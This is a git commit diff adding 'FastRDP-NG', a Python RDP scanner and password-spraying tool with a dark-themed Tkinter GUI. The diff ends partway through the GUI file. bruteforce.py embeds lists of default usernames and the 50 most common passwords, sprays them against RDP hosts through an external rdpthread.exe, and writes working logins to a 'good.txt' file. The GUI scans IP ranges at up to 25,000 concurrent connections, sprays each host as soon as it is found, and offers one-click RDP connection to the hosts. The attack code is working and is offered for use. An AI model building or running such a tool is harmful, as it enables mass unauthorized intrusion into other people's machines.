v2.0 streaming redesign: concurrent scan+spray, RDP connect button, live stats fix, terminal output
This commit is contained in:
BIN
__pycache__/bruteforce.cpython-311.pyc
Normal file
BIN
__pycache__/bruteforce.cpython-311.pyc
Normal file
Binary file not shown.
BIN
__pycache__/gui.cpython-311.pyc
Normal file
BIN
__pycache__/gui.cpython-311.pyc
Normal file
Binary file not shown.
BIN
__pycache__/ip_utils.cpython-311.pyc
Normal file
BIN
__pycache__/ip_utils.cpython-311.pyc
Normal file
Binary file not shown.
BIN
__pycache__/main.cpython-311.pyc
Normal file
BIN
__pycache__/main.cpython-311.pyc
Normal file
Binary file not shown.
BIN
__pycache__/scanner.cpython-311.pyc
Normal file
BIN
__pycache__/scanner.cpython-311.pyc
Normal file
Binary file not shown.
243
bruteforce.py
Normal file
243
bruteforce.py
Normal file
@@ -0,0 +1,243 @@
|
|||||||
|
"""
|
||||||
|
FastRDP-NG: RDP Password Sprayer.
|
||||||
|
Tries top common passwords against live RDP hosts using subprocess.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import asyncio
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import subprocess
|
||||||
|
import time
|
||||||
|
from typing import List, Tuple, Set
|
||||||
|
|
||||||
|
logger = logging.getLogger("FastRDP-NG")
|
||||||
|
|
||||||
|
# Top 50 most common RDP passwords (by frequency in breaches)
|
||||||
|
TOP50_PASSWORDS = [
|
||||||
|
"admin", "Admin", "password", "Password", "123456",
|
||||||
|
"administrator", "Administrator", "p@ssw0rd", "P@ssw0rd", "passwor1",
|
||||||
|
"password1", "password123", "password1234", "Password01!", "PASSWORD123",
|
||||||
|
"passw0rd", "Passw0rd", "P@$$w0rd", "qwerty", "12345678",
|
||||||
|
"123456789", "1234567890", "letmein", "welcome", "monkey",
|
||||||
|
"dragon", "master", "login", "abc123", "test",
|
||||||
|
"test123", "pass", "Pass", "P@ss", "qwerty123",
|
||||||
|
"qwerty1", "asdfgh", "zxcvbn", "iloveyou", "trustno1",
|
||||||
|
"sunshine", "princess", "football", "baseball", "welcome1",
|
||||||
|
"admin123", "Admin123", "password!", "password.", "password00",
|
||||||
|
]
|
||||||
|
|
||||||
|
# Top usernames for RDP
|
||||||
|
TOP_USERNAMES = [
|
||||||
|
"Administrator", "Admin", "admin", "administrator",
|
||||||
|
"User", "user", "GuestUser", "Guest", "root",
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
async def spray_password(
|
||||||
|
ip: str,
|
||||||
|
port: int,
|
||||||
|
username: str,
|
||||||
|
password: str,
|
||||||
|
timeout: float = 5.0,
|
||||||
|
) -> Tuple[str, int, str, str, bool]:
|
||||||
|
"""
|
||||||
|
Try a single credential pair against an RDP host.
|
||||||
|
Attempts to find rdpthread.exe in common locations, then
|
||||||
|
falls back to RDP banner detection (connectivity check only).
|
||||||
|
|
||||||
|
Returns (ip, port, username, password, success).
|
||||||
|
"""
|
||||||
|
# Try to locate rdpthread.exe in likely locations
|
||||||
|
base = os.path.dirname(os.path.abspath(__file__))
|
||||||
|
search_paths = [
|
||||||
|
os.path.join(base, "rdpthread.exe"),
|
||||||
|
os.path.join(base, "..", "rdpthread.exe"),
|
||||||
|
os.path.join(base, "bin", "rdpthread.exe"),
|
||||||
|
]
|
||||||
|
rdpthread_path = None
|
||||||
|
for p in search_paths:
|
||||||
|
if os.path.exists(p):
|
||||||
|
rdpthread_path = p
|
||||||
|
break
|
||||||
|
|
||||||
|
if rdpthread_path:
|
||||||
|
try:
|
||||||
|
result = subprocess.run(
|
||||||
|
[rdpthread_path, ip, str(port), username, password],
|
||||||
|
capture_output=True,
|
||||||
|
timeout=timeout,
|
||||||
|
creationflags=subprocess.CREATE_NO_WINDOW
|
||||||
|
)
|
||||||
|
output = result.stdout.decode('utf-8', errors='ignore').lower()
|
||||||
|
success = (
|
||||||
|
"success" in output or
|
||||||
|
"connected" in output or
|
||||||
|
"authenticated" in output or
|
||||||
|
result.returncode == 0
|
||||||
|
)
|
||||||
|
return (ip, port, username, password, success)
|
||||||
|
except (FileNotFoundError, subprocess.TimeoutExpired,
|
||||||
|
subprocess.CalledProcessError, OSError):
|
||||||
|
pass
|
||||||
|
|
||||||
|
# Fallback: RDP banner check (confirms RDP service is running)
|
||||||
|
# NOTE: Actual authentication requires CredSSP/NLA which needs
|
||||||
|
# a proper RDP client library. This fallback only detects open RDP ports.
|
||||||
|
try:
|
||||||
|
reader, writer = await asyncio.wait_for(
|
||||||
|
asyncio.open_connection(ip, port),
|
||||||
|
timeout=2.0
|
||||||
|
)
|
||||||
|
try:
|
||||||
|
data = await asyncio.wait_for(
|
||||||
|
reader.read(4),
|
||||||
|
timeout=1.0
|
||||||
|
)
|
||||||
|
writer.close()
|
||||||
|
await writer.wait_closed()
|
||||||
|
# TPKT header (0x03) indicates RDP protocol response
|
||||||
|
if len(data) >= 2 and data[0] == 0x03:
|
||||||
|
return (ip, port, username, password, False)
|
||||||
|
except (asyncio.TimeoutError, ConnectionError):
|
||||||
|
pass
|
||||||
|
writer.close()
|
||||||
|
await writer.wait_closed()
|
||||||
|
return (ip, port, username, password, False)
|
||||||
|
except (asyncio.TimeoutError, ConnectionRefusedError, OSError):
|
||||||
|
return (ip, port, username, password, False)
|
||||||
|
|
||||||
|
|
||||||
|
async def spray_all_hosts(
|
||||||
|
live_hosts: Set[Tuple[str, int]],
|
||||||
|
usernames: List[str] = None, # type: ignore
|
||||||
|
passwords: List[str] = None, # type: ignore
|
||||||
|
max_concurrent: int = 100,
|
||||||
|
timeout: float = 5.0,
|
||||||
|
progress_callback=None
|
||||||
|
) -> List[Tuple[str, int, str, str]]:
|
||||||
|
"""
|
||||||
|
Spray top passwords across all live hosts.
|
||||||
|
Tries 1 password per host, then moves to next password.
|
||||||
|
This avoids account lockouts and finds weak passwords fast.
|
||||||
|
|
||||||
|
Returns list of (ip, port, username, password) successful hits.
|
||||||
|
"""
|
||||||
|
if usernames is None:
|
||||||
|
usernames = TOP_USERNAMES
|
||||||
|
if passwords is None:
|
||||||
|
passwords = TOP50_PASSWORDS
|
||||||
|
|
||||||
|
sem = asyncio.Semaphore(max_concurrent)
|
||||||
|
hits = []
|
||||||
|
total_attempts = len(live_hosts) * len(passwords) * len(usernames)
|
||||||
|
attempts = 0
|
||||||
|
start_time = time.time()
|
||||||
|
|
||||||
|
async def try_combo(ip: str, port: int, user: str, pwd: str):
|
||||||
|
nonlocal attempts
|
||||||
|
async with sem:
|
||||||
|
_, _, u, p, success = await spray_password(
|
||||||
|
ip, port, user, pwd, timeout
|
||||||
|
)
|
||||||
|
attempts += 1
|
||||||
|
if success:
|
||||||
|
hits.append((ip, port, u, p))
|
||||||
|
if progress_callback and attempts % 100 == 0:
|
||||||
|
elapsed = time.time() - start_time
|
||||||
|
rate = attempts / elapsed if elapsed > 0 else 0
|
||||||
|
progress_callback(attempts, total_attempts, len(hits), rate)
|
||||||
|
return success
|
||||||
|
|
||||||
|
logger.info(f"Spraying {len(passwords)} passwords across {len(live_hosts)} hosts...")
|
||||||
|
|
||||||
|
# Spray strategy: for each password, try it against ALL hosts first
|
||||||
|
# This is the "password spraying" approach - avoids lockouts
|
||||||
|
tasks = []
|
||||||
|
for password in passwords:
|
||||||
|
for ip, port in live_hosts:
|
||||||
|
for username in usernames:
|
||||||
|
tasks.append(asyncio.create_task(
|
||||||
|
try_combo(ip, port, username, password)
|
||||||
|
))
|
||||||
|
|
||||||
|
# Execute this password batch before moving to next password
|
||||||
|
# This lets us see hits faster
|
||||||
|
if tasks:
|
||||||
|
await asyncio.gather(*tasks, return_exceptions=True)
|
||||||
|
if hits:
|
||||||
|
# Found hits! Write immediately
|
||||||
|
_write_hits(hits)
|
||||||
|
tasks = []
|
||||||
|
|
||||||
|
elapsed = time.time() - start_time
|
||||||
|
rate = attempts / elapsed if elapsed > 0 else 0
|
||||||
|
logger.info(
|
||||||
|
f"Spray complete: {len(hits)} hits from {attempts} attempts "
|
||||||
|
f"in {elapsed:.1f}s ({rate:.0f} attempts/sec)"
|
||||||
|
)
|
||||||
|
|
||||||
|
return hits
|
||||||
|
|
||||||
|
|
||||||
|
async def spray_single_host(
|
||||||
|
ip: str,
|
||||||
|
port: int,
|
||||||
|
usernames: List[str] = None,
|
||||||
|
passwords: List[str] = None,
|
||||||
|
max_concurrent: int = 50,
|
||||||
|
timeout: float = 5.0,
|
||||||
|
hit_callback=None
|
||||||
|
) -> List[Tuple[str, int, str, str]]:
|
||||||
|
"""
|
||||||
|
Spray ALL passwords against a SINGLE host immediately.
|
||||||
|
Called as soon as a host is discovered — no need to wait for full scan.
|
||||||
|
|
||||||
|
hit_callback(ip, port, user, password): called on each successful hit.
|
||||||
|
Returns list of (ip, port, username, password) hits.
|
||||||
|
"""
|
||||||
|
if usernames is None:
|
||||||
|
usernames = TOP_USERNAMES
|
||||||
|
if passwords is None:
|
||||||
|
passwords = TOP50_PASSWORDS
|
||||||
|
|
||||||
|
sem = asyncio.Semaphore(max_concurrent)
|
||||||
|
hits: List[Tuple[str, int, str, str]] = []
|
||||||
|
|
||||||
|
async def try_combo(user: str, pwd: str):
|
||||||
|
async with sem:
|
||||||
|
_, _, u, p, success = await spray_password(
|
||||||
|
ip, port, user, pwd, timeout
|
||||||
|
)
|
||||||
|
if success:
|
||||||
|
hits.append((ip, port, u, p))
|
||||||
|
if hit_callback:
|
||||||
|
hit_callback(ip, port, u, p)
|
||||||
|
|
||||||
|
# Fire all tasks
|
||||||
|
tasks = []
|
||||||
|
for user in usernames:
|
||||||
|
for pwd in passwords:
|
||||||
|
tasks.append(asyncio.create_task(try_combo(user, pwd)))
|
||||||
|
|
||||||
|
if tasks:
|
||||||
|
await asyncio.gather(*tasks, return_exceptions=True)
|
||||||
|
|
||||||
|
if hits:
|
||||||
|
_write_hits(hits)
|
||||||
|
|
||||||
|
return hits
|
||||||
|
|
||||||
|
|
||||||
|
def _write_hits(hits: List[Tuple[str, int, str, str]]):
|
||||||
|
"""Write successful hits to results file immediately."""
|
||||||
|
import os
|
||||||
|
output_path = os.path.join(
|
||||||
|
os.path.dirname(os.path.dirname(os.path.abspath(__file__))),
|
||||||
|
"results", "good.txt"
|
||||||
|
)
|
||||||
|
os.makedirs(os.path.dirname(output_path), exist_ok=True)
|
||||||
|
with open(output_path, 'a') as f:
|
||||||
|
for ip, port, user, pwd in hits:
|
||||||
|
line = f"{user}:{pwd}@{ip}:{port}\n"
|
||||||
|
f.write(line)
|
||||||
|
print(f"\n[+] HIT! {line.strip()}")
|
||||||
891
gui.py
Normal file
891
gui.py
Normal file
@@ -0,0 +1,891 @@
|
|||||||
|
"""
|
||||||
|
FastRDP-NG GUI - Sleek Windows interface for RDP scanning & password spraying.
|
||||||
|
Dark-themed, real-time progress, live host table, instant hit logging.
|
||||||
|
Streaming design: scan finds hosts → spray starts immediately (concurrent).
|
||||||
|
"""
|
||||||
|
|
||||||
|
import tkinter as tk
|
||||||
|
from tkinter import ttk, scrolledtext, filedialog
|
||||||
|
import threading
|
||||||
|
import asyncio
|
||||||
|
import time
|
||||||
|
import os
|
||||||
|
import random
|
||||||
|
import sys
|
||||||
|
import subprocess
|
||||||
|
from typing import Set, Tuple, List
|
||||||
|
from dataclasses import dataclass
|
||||||
|
|
||||||
|
from scanner import scan_ips, RDP_PORTS
|
||||||
|
from ip_utils import parse_ranges_file, count_ips
|
||||||
|
from bruteforce import spray_single_host, TOP50_PASSWORDS, TOP_USERNAMES
|
||||||
|
|
||||||
|
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
|
||||||
|
RESULTS_DIR = os.path.join(BASE_DIR, "results")
|
||||||
|
WORDLISTS_DIR = os.path.join(BASE_DIR, "wordlists")
|
||||||
|
|
||||||
|
# ── Terminal ANSI helpers ────────────────────────────────
|
||||||
|
_TERM = hasattr(sys.stdout, 'isatty') and sys.stdout.isatty()
|
||||||
|
if _TERM:
|
||||||
|
try:
|
||||||
|
import ctypes
|
||||||
|
kernel32 = ctypes.windll.kernel32
|
||||||
|
kernel32.SetConsoleMode(kernel32.GetStdHandle(-11), 7)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def _c(code, text):
|
||||||
|
return f"{code}{text}\033[0m" if _TERM else text
|
||||||
|
|
||||||
|
|
||||||
|
# ── Color Palette ──────────────────────────────────────────
|
||||||
|
class Colors:
|
||||||
|
BG_DARK = "#1a1a2e"
|
||||||
|
BG_MID = "#16213e"
|
||||||
|
BG_LIGHT = "#0f3460"
|
||||||
|
ACCENT = "#00d2ff"
|
||||||
|
ACCENT2 = "#e94560"
|
||||||
|
GREEN = "#4ec94e"
|
||||||
|
RED = "#f44747"
|
||||||
|
ORANGE = "#ffa500"
|
||||||
|
YELLOW = "#dcdcaa"
|
||||||
|
TEXT = "#e0e0e0"
|
||||||
|
TEXT_DIM = "#888888"
|
||||||
|
HIT_BG = "#1a3a1a"
|
||||||
|
INPUT_BG = "#0d1117"
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class ScanStats:
|
||||||
|
"""Live scanning statistics."""
|
||||||
|
checked: int = 0
|
||||||
|
total: int = 0
|
||||||
|
live: int = 0
|
||||||
|
hits: int = 0
|
||||||
|
rate: float = 0.0
|
||||||
|
start_time: float = 0.0
|
||||||
|
phase: str = "idle" # idle | scanning | spraying | done
|
||||||
|
|
||||||
|
|
||||||
|
class FastRDPGUI:
|
||||||
|
"""Polished Windows GUI for FastRDP-NG."""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.root = tk.Tk()
|
||||||
|
self.root.title("FastRDP-NG v2.0 \u2014 Next Gen RDP Scanner")
|
||||||
|
self.root.geometry("1100x820")
|
||||||
|
self.root.minsize(950, 700)
|
||||||
|
self.root.configure(bg=Colors.BG_DARK)
|
||||||
|
|
||||||
|
# State
|
||||||
|
self.scanning = False
|
||||||
|
self.stats = ScanStats()
|
||||||
|
self.live_hosts: Set[Tuple[str, int]] = set()
|
||||||
|
self.hits: List[Tuple[str, int, str, str]] = []
|
||||||
|
self.host_items: dict = {} # (ip,port) -> treeview item id
|
||||||
|
self.ranges_file = os.path.join(WORDLISTS_DIR, "ranges.txt")
|
||||||
|
self.users_file = os.path.join(WORDLISTS_DIR, "users.txt")
|
||||||
|
self.passwords_file = os.path.join(WORDLISTS_DIR, "passwords.txt")
|
||||||
|
self._metric_labels: dict = {}
|
||||||
|
self._spray_queue: asyncio.Queue = None
|
||||||
|
|
||||||
|
os.makedirs(RESULTS_DIR, exist_ok=True)
|
||||||
|
os.makedirs(WORDLISTS_DIR, exist_ok=True)
|
||||||
|
|
||||||
|
self._setup_styles()
|
||||||
|
self._build_ui()
|
||||||
|
self._update_stats_display()
|
||||||
|
self.root.protocol("WM_DELETE_WINDOW", self._on_close)
|
||||||
|
|
||||||
|
def _setup_styles(self):
|
||||||
|
style = ttk.Style()
|
||||||
|
style.theme_use("clam")
|
||||||
|
style.configure(".", background=Colors.BG_DARK, foreground=Colors.TEXT,
|
||||||
|
fieldbackground=Colors.INPUT_BG, font=("Segoe UI", 10))
|
||||||
|
style.configure("TLabelframe", background=Colors.BG_MID, foreground=Colors.TEXT,
|
||||||
|
bordercolor=Colors.ACCENT, lightcolor=Colors.ACCENT,
|
||||||
|
darkcolor=Colors.BG_MID)
|
||||||
|
style.configure("TLabelframe.Label", background=Colors.BG_MID,
|
||||||
|
foreground=Colors.ACCENT, font=("Segoe UI", 10, "bold"))
|
||||||
|
style.configure("TButton", background=Colors.BG_LIGHT, foreground=Colors.TEXT,
|
||||||
|
bordercolor=Colors.ACCENT, focuscolor="none",
|
||||||
|
font=("Segoe UI", 10, "bold"))
|
||||||
|
style.map("TButton", background=[("active", Colors.ACCENT),
|
||||||
|
("disabled", Colors.BG_MID)],
|
||||||
|
foreground=[("disabled", Colors.TEXT_DIM)])
|
||||||
|
style.configure("Accent.TButton", background=Colors.ACCENT,
|
||||||
|
foreground=Colors.BG_DARK)
|
||||||
|
style.map("Accent.TButton", background=[("active", "#00e5ff"),
|
||||||
|
("disabled", Colors.BG_MID)])
|
||||||
|
style.configure("Danger.TButton", background=Colors.ACCENT2,
|
||||||
|
foreground="white")
|
||||||
|
style.map("Danger.TButton", background=[("active", "#ff6b81"),
|
||||||
|
("disabled", Colors.BG_MID)])
|
||||||
|
style.configure("Connect.TButton", background=Colors.GREEN,
|
||||||
|
foreground=Colors.BG_DARK)
|
||||||
|
style.map("Connect.TButton", background=[("active", "#5ddc5d"),
|
||||||
|
("disabled", Colors.BG_MID)])
|
||||||
|
style.configure("TEntry", fieldbackground=Colors.INPUT_BG,
|
||||||
|
foreground=Colors.TEXT, bordercolor=Colors.BG_LIGHT)
|
||||||
|
style.configure("Horizontal.TScale", background=Colors.BG_DARK,
|
||||||
|
troughcolor=Colors.BG_MID, slidercolor=Colors.ACCENT)
|
||||||
|
style.configure("TCheckbutton", background=Colors.BG_DARK,
|
||||||
|
foreground=Colors.TEXT)
|
||||||
|
style.map("TCheckbutton", background=[("active", Colors.BG_DARK)])
|
||||||
|
style.configure("Treeview", background=Colors.INPUT_BG,
|
||||||
|
foreground=Colors.TEXT, fieldbackground=Colors.INPUT_BG,
|
||||||
|
bordercolor=Colors.BG_MID, font=("Consolas", 9))
|
||||||
|
style.configure("Treeview.Heading", background=Colors.BG_LIGHT,
|
||||||
|
foreground=Colors.ACCENT, font=("Segoe UI", 9, "bold"))
|
||||||
|
style.map("Treeview", background=[("selected", Colors.BG_LIGHT)])
|
||||||
|
|
||||||
|
def _build_ui(self):
|
||||||
|
header = tk.Frame(self.root, bg=Colors.BG_MID, height=50)
|
||||||
|
header.pack(fill="x")
|
||||||
|
header.pack_propagate(False)
|
||||||
|
|
||||||
|
tk.Label(header, text="\u26a1 FastRDP-NG", font=("Segoe UI", 18, "bold"),
|
||||||
|
fg=Colors.ACCENT, bg=Colors.BG_MID).pack(side="left", padx=15)
|
||||||
|
tk.Label(header, text="v2.0 \u2014 Streaming RDP Scanner + Instant Spray",
|
||||||
|
font=("Segoe UI", 9), fg=Colors.TEXT_DIM,
|
||||||
|
bg=Colors.BG_MID).pack(side="left", padx=5, pady=(8, 0))
|
||||||
|
|
||||||
|
self.notebook = ttk.Notebook(self.root)
|
||||||
|
self.notebook.pack(fill="both", expand=True, padx=5, pady=5)
|
||||||
|
|
||||||
|
self.tab_scan = tk.Frame(self.notebook, bg=Colors.BG_DARK)
|
||||||
|
self.notebook.add(self.tab_scan, text=" \U0001f50d Scanner ")
|
||||||
|
self._build_scanner_tab()
|
||||||
|
|
||||||
|
self.tab_results = tk.Frame(self.notebook, bg=Colors.BG_DARK)
|
||||||
|
self.notebook.add(self.tab_results, text=" \U0001f4ca Results ")
|
||||||
|
self._build_results_tab()
|
||||||
|
|
||||||
|
self.tab_settings = tk.Frame(self.notebook, bg=Colors.BG_DARK)
|
||||||
|
self.notebook.add(self.tab_settings, text=" \u2699 Settings ")
|
||||||
|
self._build_settings_tab()
|
||||||
|
|
||||||
|
# ── TAB 1: SCANNER ─────────────────────────────────────
|
||||||
|
def _build_scanner_tab(self):
|
||||||
|
left = tk.Frame(self.tab_scan, bg=Colors.BG_DARK, width=380)
|
||||||
|
left.pack(side="left", fill="y", padx=(0, 5))
|
||||||
|
left.pack_propagate(False)
|
||||||
|
|
||||||
|
right = tk.Frame(self.tab_scan, bg=Colors.BG_DARK)
|
||||||
|
right.pack(side="right", fill="both", expand=True)
|
||||||
|
|
||||||
|
# ── LEFT PANEL ──
|
||||||
|
targets_frame = ttk.LabelFrame(left, text="\U0001f3af Targets", padding=8)
|
||||||
|
targets_frame.pack(fill="x", pady=(0, 5))
|
||||||
|
|
||||||
|
ttk.Label(targets_frame, text="Ranges File:",
|
||||||
|
font=("Segoe UI", 9)).grid(row=0, column=0, sticky="w", pady=2)
|
||||||
|
self.ranges_entry = ttk.Entry(targets_frame, width=30)
|
||||||
|
self.ranges_entry.insert(0, self.ranges_file)
|
||||||
|
self.ranges_entry.grid(row=0, column=1, padx=5, pady=2, sticky="ew")
|
||||||
|
btn_row = tk.Frame(targets_frame, bg=Colors.BG_MID)
|
||||||
|
btn_row.grid(row=0, column=2, padx=(0, 0))
|
||||||
|
ttk.Button(btn_row, text="\U0001f4c2", width=3,
|
||||||
|
command=self._browse_ranges).pack(side="left")
|
||||||
|
ttk.Button(btn_row, text="\u2795", width=3,
|
||||||
|
command=self._quick_add_ip).pack(side="left", padx=(2, 0))
|
||||||
|
|
||||||
|
ttk.Label(targets_frame, text="Users File:",
|
||||||
|
font=("Segoe UI", 9)).grid(row=1, column=0, sticky="w", pady=2)
|
||||||
|
self.users_entry = ttk.Entry(targets_frame, width=30)
|
||||||
|
self.users_entry.insert(0, self.users_file)
|
||||||
|
self.users_entry.grid(row=1, column=1, padx=5, pady=2, sticky="ew")
|
||||||
|
ttk.Button(targets_frame, text="\U0001f4c2", width=3,
|
||||||
|
command=lambda: self._browse_file("users")).grid(row=1, column=2)
|
||||||
|
|
||||||
|
ttk.Label(targets_frame, text="Passwords File:",
|
||||||
|
font=("Segoe UI", 9)).grid(row=2, column=0, sticky="w", pady=2)
|
||||||
|
self.pass_entry = ttk.Entry(targets_frame, width=30)
|
||||||
|
self.pass_entry.insert(0, self.passwords_file)
|
||||||
|
self.pass_entry.grid(row=2, column=1, padx=5, pady=2, sticky="ew")
|
||||||
|
ttk.Button(targets_frame, text="\U0001f4c2", width=3,
|
||||||
|
command=lambda: self._browse_file("passwords")).grid(row=2, column=2)
|
||||||
|
|
||||||
|
targets_frame.columnconfigure(1, weight=1)
|
||||||
|
|
||||||
|
# -- Speed / Performance --
|
||||||
|
perf_frame = ttk.LabelFrame(left, text="\u26a1 Performance", padding=8)
|
||||||
|
perf_frame.pack(fill="x", pady=(0, 5))
|
||||||
|
|
||||||
|
ttk.Label(perf_frame, text="Concurrent Connections:",
|
||||||
|
font=("Segoe UI", 9)).grid(row=0, column=0, sticky="w")
|
||||||
|
self.speed_var = tk.IntVar(value=5000)
|
||||||
|
speed_frame = tk.Frame(perf_frame, bg=Colors.BG_MID)
|
||||||
|
speed_frame.grid(row=0, column=1, padx=5, sticky="ew")
|
||||||
|
speed_scale = ttk.Scale(speed_frame, from_=500, to=25000,
|
||||||
|
variable=self.speed_var, orient="horizontal",
|
||||||
|
length=180)
|
||||||
|
speed_scale.pack(side="left", fill="x", expand=True)
|
||||||
|
self.speed_label = tk.Label(speed_frame, text="5,000",
|
||||||
|
fg=Colors.ACCENT, bg=Colors.BG_MID,
|
||||||
|
font=("Consolas", 9, "bold"), width=6)
|
||||||
|
self.speed_label.pack(side="left", padx=(5, 0))
|
||||||
|
speed_scale.configure(command=lambda v: self.speed_label.config(
|
||||||
|
text=f"{int(float(v)):,}"))
|
||||||
|
|
||||||
|
ttk.Label(perf_frame, text="Connect Timeout (s):",
|
||||||
|
font=("Segoe UI", 9)).grid(row=1, column=0, sticky="w", pady=(5, 0))
|
||||||
|
self.timeout_var = tk.DoubleVar(value=2.0)
|
||||||
|
timeout_spin = ttk.Spinbox(perf_frame, from_=0.5, to=10.0,
|
||||||
|
increment=0.5, textvariable=self.timeout_var,
|
||||||
|
width=8)
|
||||||
|
timeout_spin.grid(row=1, column=1, padx=5, pady=(5, 0), sticky="w")
|
||||||
|
|
||||||
|
ttk.Label(perf_frame, text="Scan Ports:",
|
||||||
|
font=("Segoe UI", 9)).grid(row=2, column=0, sticky="w", pady=(5, 0))
|
||||||
|
ports_frame = tk.Frame(perf_frame, bg=Colors.BG_MID)
|
||||||
|
ports_frame.grid(row=2, column=1, padx=5, pady=(5, 0), sticky="w")
|
||||||
|
self.port_vars = {3389: tk.BooleanVar(value=True),
|
||||||
|
3390: tk.BooleanVar(value=True),
|
||||||
|
3391: tk.BooleanVar(value=True)}
|
||||||
|
for i, (port, var) in enumerate(self.port_vars.items()):
|
||||||
|
tk.Checkbutton(ports_frame, text=str(port), variable=var,
|
||||||
|
fg=Colors.TEXT, bg=Colors.BG_MID,
|
||||||
|
selectcolor=Colors.BG_DARK,
|
||||||
|
activebackground=Colors.BG_MID,
|
||||||
|
activeforeground=Colors.ACCENT).pack(side="left", padx=2)
|
||||||
|
|
||||||
|
perf_frame.columnconfigure(1, weight=1)
|
||||||
|
|
||||||
|
# -- Controls --
|
||||||
|
ctrl_frame = ttk.LabelFrame(left, text="\u25b6 Controls", padding=8)
|
||||||
|
ctrl_frame.pack(fill="x", pady=(0, 5))
|
||||||
|
|
||||||
|
btn_frame = tk.Frame(ctrl_frame, bg=Colors.BG_MID)
|
||||||
|
btn_frame.pack(fill="x")
|
||||||
|
self.start_btn = ttk.Button(btn_frame, text="\u25b6 START SCAN",
|
||||||
|
style="Accent.TButton",
|
||||||
|
command=self._start_scan, width=16)
|
||||||
|
self.start_btn.pack(side="left", padx=(0, 5))
|
||||||
|
self.stop_btn = ttk.Button(btn_frame, text="\u25a0 STOP",
|
||||||
|
style="Danger.TButton",
|
||||||
|
command=self._stop_scan, state="disabled",
|
||||||
|
width=10)
|
||||||
|
self.stop_btn.pack(side="left", padx=(0, 5))
|
||||||
|
ttk.Button(btn_frame, text="\U0001f5d1 Clear", width=8,
|
||||||
|
command=self._clear_results).pack(side="left")
|
||||||
|
|
||||||
|
spray_opts = tk.Frame(ctrl_frame, bg=Colors.BG_MID)
|
||||||
|
spray_opts.pack(fill="x", pady=(8, 0))
|
||||||
|
self.spray_var = tk.BooleanVar(value=True)
|
||||||
|
tk.Checkbutton(spray_opts, text="\U0001f511 Instant spray (as hosts found)",
|
||||||
|
variable=self.spray_var, fg=Colors.TEXT, bg=Colors.BG_MID,
|
||||||
|
selectcolor=Colors.BG_DARK, activebackground=Colors.BG_MID,
|
||||||
|
activeforeground=Colors.ACCENT,
|
||||||
|
font=("Segoe UI", 9, "bold")).pack(side="left")
|
||||||
|
|
||||||
|
self.randomize_var = tk.BooleanVar(value=True)
|
||||||
|
tk.Checkbutton(spray_opts, text="\U0001f3b2 Randomize",
|
||||||
|
variable=self.randomize_var, fg=Colors.TEXT_DIM,
|
||||||
|
bg=Colors.BG_MID, selectcolor=Colors.BG_DARK,
|
||||||
|
activebackground=Colors.BG_MID).pack(side="left", padx=(10, 0))
|
||||||
|
|
||||||
|
# -- Live Stats Dashboard --
|
||||||
|
stats_frame = ttk.LabelFrame(left, text="\U0001f4c8 Live Stats", padding=8)
|
||||||
|
stats_frame.pack(fill="x", expand=False)
|
||||||
|
|
||||||
|
stats_grid = tk.Frame(stats_frame, bg=Colors.BG_MID)
|
||||||
|
stats_grid.pack(fill="x")
|
||||||
|
|
||||||
|
self._metric_labels = {}
|
||||||
|
self._make_metric(stats_grid, "Checked", "0", 0, 0, Colors.YELLOW)
|
||||||
|
self._make_metric(stats_grid, "Total", "0", 0, 1, Colors.TEXT_DIM)
|
||||||
|
self._make_metric(stats_grid, "Live", "0", 0, 2, Colors.GREEN)
|
||||||
|
self._make_metric(stats_grid, "Hits", "0", 1, 0, Colors.ACCENT2)
|
||||||
|
self._make_metric(stats_grid, "Rate", "0/s", 1, 1, Colors.ACCENT)
|
||||||
|
self._make_metric(stats_grid, "Elapsed", "0s", 1, 2, Colors.ORANGE)
|
||||||
|
|
||||||
|
for col in range(3):
|
||||||
|
stats_grid.columnconfigure(col, weight=1, uniform="metric")
|
||||||
|
|
||||||
|
# ── RIGHT PANEL ──
|
||||||
|
hosts_frame = ttk.LabelFrame(right, text="\U0001f310 Live RDP Hosts [double-click to RDP connect]",
|
||||||
|
padding=3)
|
||||||
|
hosts_frame.pack(fill="both", expand=True, pady=(0, 3))
|
||||||
|
|
||||||
|
columns = ("ip", "port", "status", "username", "password")
|
||||||
|
self.host_tree = ttk.Treeview(hosts_frame, columns=columns,
|
||||||
|
show="headings", height=6)
|
||||||
|
headings = [("ip", "IP Address", 150), ("port", "Port", 55),
|
||||||
|
("status", "Status", 140),
|
||||||
|
("username", "Username", 110), ("password", "Password", 120)]
|
||||||
|
for col, text, width in headings:
|
||||||
|
self.host_tree.heading(col, text=text)
|
||||||
|
self.host_tree.column(col, width=width)
|
||||||
|
|
||||||
|
# Double-click to RDP connect
|
||||||
|
self.host_tree.bind("<Double-1>", self._on_host_double_click)
|
||||||
|
|
||||||
|
scroll_y = ttk.Scrollbar(hosts_frame, orient="vertical",
|
||||||
|
command=self.host_tree.yview)
|
||||||
|
self.host_tree.configure(yscrollcommand=scroll_y.set)
|
||||||
|
self.host_tree.pack(side="left", fill="both", expand=True)
|
||||||
|
scroll_y.pack(side="right", fill="y")
|
||||||
|
|
||||||
|
# RDP Connect button bar
|
||||||
|
rdp_bar = tk.Frame(right, bg=Colors.BG_MID, height=35)
|
||||||
|
rdp_bar.pack(fill="x", pady=(0, 3))
|
||||||
|
rdp_bar.pack_propagate(False)
|
||||||
|
ttk.Button(rdp_bar, text="\U0001f4bb RDP Connect (selected host)",
|
||||||
|
style="Connect.TButton",
|
||||||
|
command=self._rdp_connect_selected).pack(side="left", padx=5, pady=3)
|
||||||
|
ttk.Button(rdp_bar, text="\U0001f4dd Quick RDP (manual IP)",
|
||||||
|
command=self._quick_rdp_dialog).pack(side="left", padx=5, pady=3)
|
||||||
|
self.rdp_status = tk.Label(rdp_bar, text="Select a host, then click RDP Connect",
|
||||||
|
fg=Colors.TEXT_DIM, bg=Colors.BG_MID,
|
||||||
|
font=("Segoe UI", 8))
|
||||||
|
self.rdp_status.pack(side="right", padx=10)
|
||||||
|
|
||||||
|
# -- Event log --
|
||||||
|
log_frame = ttk.LabelFrame(right, text="\U0001f4dd Event Log", padding=3)
|
||||||
|
log_frame.pack(fill="both", expand=True)
|
||||||
|
|
||||||
|
self.log_text = scrolledtext.ScrolledText(
|
||||||
|
